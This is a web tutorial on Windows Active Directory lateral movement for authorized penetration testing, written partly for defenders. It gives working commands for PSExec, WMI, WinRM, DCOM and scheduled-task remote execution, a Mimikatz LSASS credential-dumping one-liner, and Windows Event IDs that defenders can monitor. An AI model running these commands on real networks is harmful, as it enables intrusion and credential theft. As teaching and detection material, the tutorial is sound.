GO KALI FREE
AdvancedActive Directory

Lateral Movement: Moving Through Network Environments

A comprehensive guide to lateral movement techniques in Windows networks including pass-the-hash, pass-the-ticket, PSExec, WMI, DCOM, and WinRM for authorized penetration testing.

#Lateral Movement#Windows#Active Directory#PSExec#WMI#WinRM

The Anatomy of Network Propagation

Lateral movement is the attack technique of moving from one compromised system to another within a network. After initial access — typically through phishing, exploits, or credential theft — attackers navigate the network to reach high-value targets such as domain controllers, database servers, or sensitive file shares. Understanding the architecture of lateral movement is essential for designing effective network segmentation and detection controls.

Prerequisites

  • **Active Directory Fundamentals** — Domain architecture and authentication
  • **Domain Enumeration** — Target discovery
  • **Credential Dumping** — Understanding of hash extraction

    • Core Lateral Movement Techniques

    PSExec

    PSExec executes processes on remote systems via SMB. It copies a service binary to the ADMIN$ share and starts a service on the target.

    # Using Impacket
impacket-psexec corp.local/user:password@192.168.1.10

# Native PSExec
psexec \\target-server -u user -p password cmd.exe

    WMI (Windows Management Instrumentation)

    WMI executes processes without installing any agent. It uses DCOM (TCP 135) or WinRM.

    impacket-wmiexec corp.local/user:password@192.168.1.10

# PowerShell
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName target-server

    WinRM (Windows Remote Management)

    WinRM provides PowerShell remoting on TCP 5985 (HTTP) and 5986 (HTTPS).

    evil-winrm -i 192.168.1.10 -u admin -p Password123

# PowerShell
Enter-PSSession -ComputerName target-server
Invoke-Command -ComputerName target-server -ScriptBlock { Get-Service }

    DCOM

    DCOM executes code through COM objects like MMC20.Application.

    $com = [Type]::GetTypeFromProgID("MMC20.Application", "target-server")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c whoami", "7")

    Scheduled Tasks

    impacket-atexec corp.local/user:password@192.168.1.10 cmd.exe /c whoami

    Credential Gathering

    Lateral movement requires credentials. Common sources:

  • **LSASS dumping** — Mimikatz sekurlsa::logonpasswords
  • **SAM hive** — registry save of HKLM\SAM and HKLM\SYSTEM
  • **NTDS.dit** — ntdsutil IFM extraction or DCSync
    • mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

    Detection

    Monitor for:

  • **Service Creation** — Event ID 7045
  • **Process Creation** — Event ID 4688 with suspicious command lines
  • **Network Logons** — Event ID 4624 (Logon Type 3) followed by process creation
  • **WMI Activity** — Event ID 5861

    • Common Mistakes

  • Using overly noisy techniques (PSExec creates obvious service events)
  • Failing to clean up artifacts
  • Ignoring network segmentation rules
  • Not verifying credential validity

    • Best Practices

  • Use the least noisy technique that achieves the objective
  • Stay within scope of authorized testing
  • Clean up all artifacts after testing
  • Prefer encrypted channels (WinRM HTTPS over unencrypted protocols)

    • Related Tools

  • **Impacket** — psexec, wmiexec, smbexec, atexec, dcomexec
  • **CrackMapExec** — Multi-protocol lateral movement
  • **Evil-WinRM** — WinRM shell
  • **Mimikatz** — Credential extraction

    • Related Articles

  • Active Directory Fundamentals: Windows Network Domains
  • Domain Enumeration: Active Directory Reconnaissance Techniques
  • Pass-the-Hash: Understanding NTLM Authentication Attacks
  • Golden Ticket Attacks: Kerberos Ticket Forging Explained

    • Summary

    Lateral movement techniques like PSExec, WMI, WinRM, DCOM, and scheduled tasks allow attackers to progress from initial compromise to their ultimate targets. Detection relies on monitoring access to remote management protocols, service creation, and unusual process execution patterns.

    Related SMB Tool Recommendations

  • [SMBClient](/tools/smbclient) - Verify share access and browse discovered SMB shares
  • [Enum4Linux](/tools/enum4linux) - Enumerate SMB users, groups, shares, and policies
  • [Enum4Linux-NG](/tools/enum4linux-ng) - Run modern SMB enumeration with structured output
  • [NBTScan](/tools/nbtscan) - Resolve NetBIOS names before deeper SMB testing
  • [CrackMapExec](/tools/crackmapexec) - Scale SMB enumeration across larger networks
  • [NetExec](/tools/netexec) - Use modern SMB and Active Directory automation

    • Knowledge Check

  • What are four common lateral movement techniques?
  • Why does PSExec generate more security events than WMI?
  • What ports does WinRM use?
  • What Event IDs should defenders monitor?

    • Frequently Asked Questions

    What is lateral movement in cybersecurity?

    Lateral movement refers to techniques attackers use to move from one compromised system to another within a network. After initial access, attackers navigate laterally to reach high-value targets like domain controllers or sensitive data stores.

    What are the main lateral movement techniques in Windows networks?

    The primary techniques are PSExec (SMB service creation), WMI (remote process execution via DCOM), WinRM (PowerShell remoting on TCP 5985/5986), DCOM (COM object exploitation), and scheduled tasks. Each has different detection footprints.

    Why does PSExec generate more security events than WMI?

    PSExec creates a new service (Event ID 7045) on the target system, which is a noisy and easily detected action. WMI executes processes without installing services, making it stealthier for lateral movement.

    What ports does WinRM use for remote management?

    WinRM uses TCP 5985 for HTTP and TCP 5986 for HTTPS. The HTTPS channel is preferred for stealth since it encrypts traffic, making inspection by network monitoring tools more difficult.

    What Event IDs should defenders monitor for lateral movement?

    Key Event IDs include 7045 (service creation from PSExec), 4688 (suspicious process creation), 4624 Logon Type 3 (network logons), and 5861 (WMI activity). Monitoring these provides broad lateral movement detection.

    How does credential dumping relate to lateral movement?

    Lateral movement requires valid credentials for remote systems. Attackers extract NTLM hashes from LSASS memory (Mimikatz), SAM registry hives, or NTDS.dit to obtain credentials needed for PSExec, WMI, or WinRM access to other machines.

    What is the difference between PSExec and WMI exec?

    PSExec copies a binary to the ADMIN$ share and starts a Windows service, leaving clear artifacts. WMI executes commands through DCOM or WinRM without installing anything, making it cleaner and harder to detect.

    Why is DCOM lateral movement less common than PSExec?

    DCOM exploitation is less documented and requires specific COM objects to be configured on the target. It is stealthier since it does not create services or use common management protocols, but it is more complex to execute reliably.

    What is the role of network segmentation in preventing lateral movement?

    Network segmentation limits which machines can communicate with each other. If an attacker compromises a workstation in one segment, proper segmentation prevents them from reaching servers in other segments without additional credentials or exploits.

    How can organizations detect lateral movement in their environment?

    Monitor for unusual service creation, process execution from unexpected sources, network logon type 3 events followed by suspicious commands, and WMI activity on non-management machines. SIEM correlation rules combining these signals improve detection accuracy.